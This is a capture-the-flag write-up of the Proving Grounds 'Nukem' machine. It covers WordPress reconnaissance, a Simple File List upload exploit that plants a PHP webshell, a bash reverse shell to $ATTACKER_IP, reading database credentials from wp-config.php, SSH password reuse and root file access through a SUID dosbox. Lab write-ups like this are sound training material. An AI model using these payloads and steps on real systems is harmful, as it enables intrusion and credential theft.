Skip to content

Nukem Writeup - Proving Grounds

Intermediate Linux

Created October 8, 2026 • Last updated October 8, 2026 • 3 min read

Nukem runs WordPress with the vulnerable Simple File List plugin, whose arbitrary file upload bug (EDB-48979) drops a PHP webshell for a shell as http. The WordPress database password is reused for SSH, and a SUID DOS emulator lets that user mount and read the entire filesystem as root.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -n -sC -sV -p- --open $TARGET_IP
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.3
80/tcp    open  http    Apache (WordPress 5.5.1)
3306/tcp  open  mysql   MariaDB
5000/tcp  open  http    Werkzeug 1.0.1
13000/tcp open  http    nginx
Explain command
-p- Scan all 65535 TCP ports.
-sC -sV Run default scripts and probe service versions.

Port 80 is WordPress 5.5.1 with the TutorLMS plugin. Scan the plugins.

WPScan

Enumerate plugins aggressively.

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://$TARGET_IP --enumerate ap --plugins-detection aggressive
[+] simple-file-list
 | Version: 4.2.2
 | Location: http://$TARGET_IP/wp-content/plugins/simple-file-list/
[+] tutor
 | Version: 1.5.3
Explain command
--plugins-detection aggressive Actively probe for plugins not linked from the front page.

Simple File List 4.2.2 has a known arbitrary file upload vulnerability.

Exploitation

Simple File List arbitrary upload (EDB-48979)

The public exploit's default payload is a hardcoded reverse shell to a fixed IP with no way to change it from the command line, which just hangs. Patch the payload in the script to drop a webshell instead.

┌──(kali㉿kali)-[~]
└─$ searchsploit -m 48979
┌──(kali㉿kali)-[~]
└─$ sed -i 's|<?php passthru("bash -i .*"); ?>|<?php system($_REQUEST["cmd"]); ?>|' 48979.py
┌──(kali㉿kali)-[~]
└─$ python3 48979.py http://$TARGET_IP
[+] Uploading file...
[+] File uploaded: /wp-content/uploads/simple-file-list/4003.php

Confirm execution through the uploaded webshell.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/wp-content/uploads/simple-file-list/4003.php?cmd=id"
uid=33(http) gid=33(http) groups=33(http)

Upgrade to a reverse shell. Start a listener first.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
listening on [any] $ATTACKER_PORT ...
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/wp-content/uploads/simple-file-list/4003.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1'"

Shell as http. Stabilize it and check the WordPress config for database credentials.

┌──(kali㉿kali)-[~]
└─$ python3 -c 'import pty;pty.spawn("/bin/bash")'
┌──(kali㉿kali)-[~]
└─$ cat /srv/http/wp-config.php | grep -i 'db_user\|db_password\|db_name'
define( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'commander' );
define( 'DB_PASSWORD', '$COMMANDER_PASSWORD' );

Privilege Escalation

Credential reuse to SSH

Try the database password for the matching system account.

┌──(kali㉿kali)-[~]
└─$ ssh commander@$TARGET_IP
commander@nukem:~$ id
uid=1000(commander) gid=1000(commander) groups=1000(commander),998(docker)

It works directly. Check for SUID binaries.

┌──(kali㉿kali)-[~]
└─$ find / -perm -4000 -type f 2>/dev/null
/usr/bin/dosbox
<snip - standard system binaries>

/usr/bin/dosbox, a DOS emulator, has the SUID bit and runs as root. It's also listening on a local VNC port.

┌──(kali㉿kali)-[~]
└─$ ss -tlnp | grep 590
LISTEN  127.0.0.1:5901

VNC is bound to localhost only, so tunnel it over SSH from the attacking machine.

dosbox SUID exploitation

Open the tunnel, connect, and launch dosbox inside the session.

┌──(kali㉿kali)-[~]
└─$ ssh -L 5901:127.0.0.1:5901 commander@$TARGET_IP
┌──(kali㉿kali)-[~]
└─$ vncviewer 127.0.0.1:5901

Inside the VNC session, open a terminal and launch dosbox. Mount the real Linux filesystem as a DOS drive and read the root flag directly.

mount C /
C:
type C:\ROOT\PROOF.TXT

dosbox runs as root, so its mounted C: drive exposes the whole filesystem with root privileges, including the proof file. A sudoers edit through the same mount also works, but a NOPASSWD typo written as NOPASS breaks the file and locks sudo out entirely, so reading the flag directly is the safer path.